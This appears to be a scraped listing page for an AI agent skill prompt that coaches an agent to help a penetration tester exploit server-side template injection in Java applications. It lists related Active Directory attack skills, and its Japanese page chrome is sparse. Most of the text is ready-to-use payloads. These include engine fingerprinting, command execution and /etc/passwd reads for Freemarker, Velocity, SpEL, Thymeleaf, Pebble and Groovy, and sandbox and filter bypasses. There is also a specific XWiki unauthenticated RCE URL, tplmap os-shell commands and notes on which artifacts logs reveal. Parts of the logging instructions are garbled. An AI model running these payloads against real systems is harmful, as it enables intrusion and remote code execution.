You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit server-side template injection in a
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit server-side template injection in a Java application. The target uses Freemarker, Velocity, Thymeleaf, Pebble, Spring Expression Language (SpEL), Groovy, or Java EL and processes attacker-controlled input through the template/expression engine without proper sanitization. The goal is to escalate from expression evaluation to remote code execution or file access. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[ssti-freemarker] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
${7*7} returns 49, or
{{7*7}} returns 49 in a Java context${ }, #{ }, *{ }, @{ },
~{ }, [= ], [[ ]] — test all if one fails{{7*'7'}} returns 7777777 or 49, the engine is likely Python (Jinja2)
or PHP (Twig), not JavaIf not already provided, determine:
${}, #{}, *{}, [=])Skip if context was already provided.
Inject (1/0).zxy.zxy inside template tags. The error reveals the language:
| Error | Engine |
|---|---|
java.lang.ArithmeticException | Java EL / SpEL |
Arithmetic operation failed | Freemarker |
No error, but 0 returned | Velocity (silently handles division) |
| Payload | Result | Engine |
|---|---|---|
${7*7} → 49 | Freemarker, SpEL, Java EL, Groovy | |
#{7*7} → 49 | Freemarker (legacy), Thymeleaf, Java EL | |
[=7*7] → 49 | Freemarker (alternative syntax, >= 2.3.4) | |
*{7*7} → 49 | Spring/Thymeleaf | |
[[${7*7}]] → 49 | Thymeleaf (expression inlining) | |
${7*'7'} → nothing/error | Freemarker (doesn't do string repetition) | |
${foobar} → empty | Freemarker (undefined vars return empty) | |
{{ someString.toUpperCase() }} → works | Pebble | |
{{'a'.toUpperCase()}} → A | Jinjava / HubL |
${"freemarker.template.utility.Execute"?new()("id")}
If this returns command output, the engine is Freemarker with no sandbox.
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
Alternative syntax variants:
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned byte values to ASCII.
# Error-Based
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()}
# Boolean-Based
${1/(("freemarker.template.utility.Execute"?new()("id && echo UniqueString"))?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval}
# Time-Based
${"freemarker.template.utility.Execute"?new()("id && sleep 5")}
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end
#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)
${T(java.lang.Runtime).getRuntime().exec("id")}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('id')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
${T(java.lang.System).getenv()}
${pageContext.request.getSession().setAttribute("admin",true)}
If ${...} is blocked, try: #{...}, *{...}, @{...}, ~{...}
# Expression inlining
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]
# Preprocessing (double underscore)
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
# Spring View Manipulation
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
Old version (< 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}
New version:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
${"id".execute().text}
# Sandbox bypass
${@ASTTest(value={assert java.lang.Runtime.getRuntime().exec("id")}) def x}
${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}
# With output capture
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}
XWiki <= 15.10.10 allows unauthenticated Groovy SSTI via SolrSearch RSS:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22id%22.execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
URL-encode all characters (use %20 not +). Output appears in RSS <title>.
If Thymeleaf processes error page templates with user input:
http://TARGET/(${T(java.lang.Runtime).getRuntime().exec('id')})
Runtime.exec() creates OS process artifacts (visible in process lists)Execute class usage may be logged by security managers#set directives with reflection are distinctive in logsExecute Class Not Found (Freemarker)ObjectWrapper is set to BeansWrapper (allows reflection)product.getClass() chain for file reading insteadT() Operator Blocked''.getClass().forName(...).getMethods()[6].invoke(...)javax.script.ScriptEngineManager for JavaScript-based executionProcessBuilder instead of Runtime:
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("id")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
Runtime.exec() returns a Process object, not outputIOUtils.toString() (requires commons-io on classpath)${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}
[=...] instead of ${...}lower_abc:
${(9?lower_abc+4?lower_abc)} # produces "id"
# SSTImap
python3 sstimap.py -u 'https://TARGET/page?name=test' -s
# tplmap
python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
# TInjA — good for polyglot-based engine detection
tinja url -u "https://TARGET/page?name=test"
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。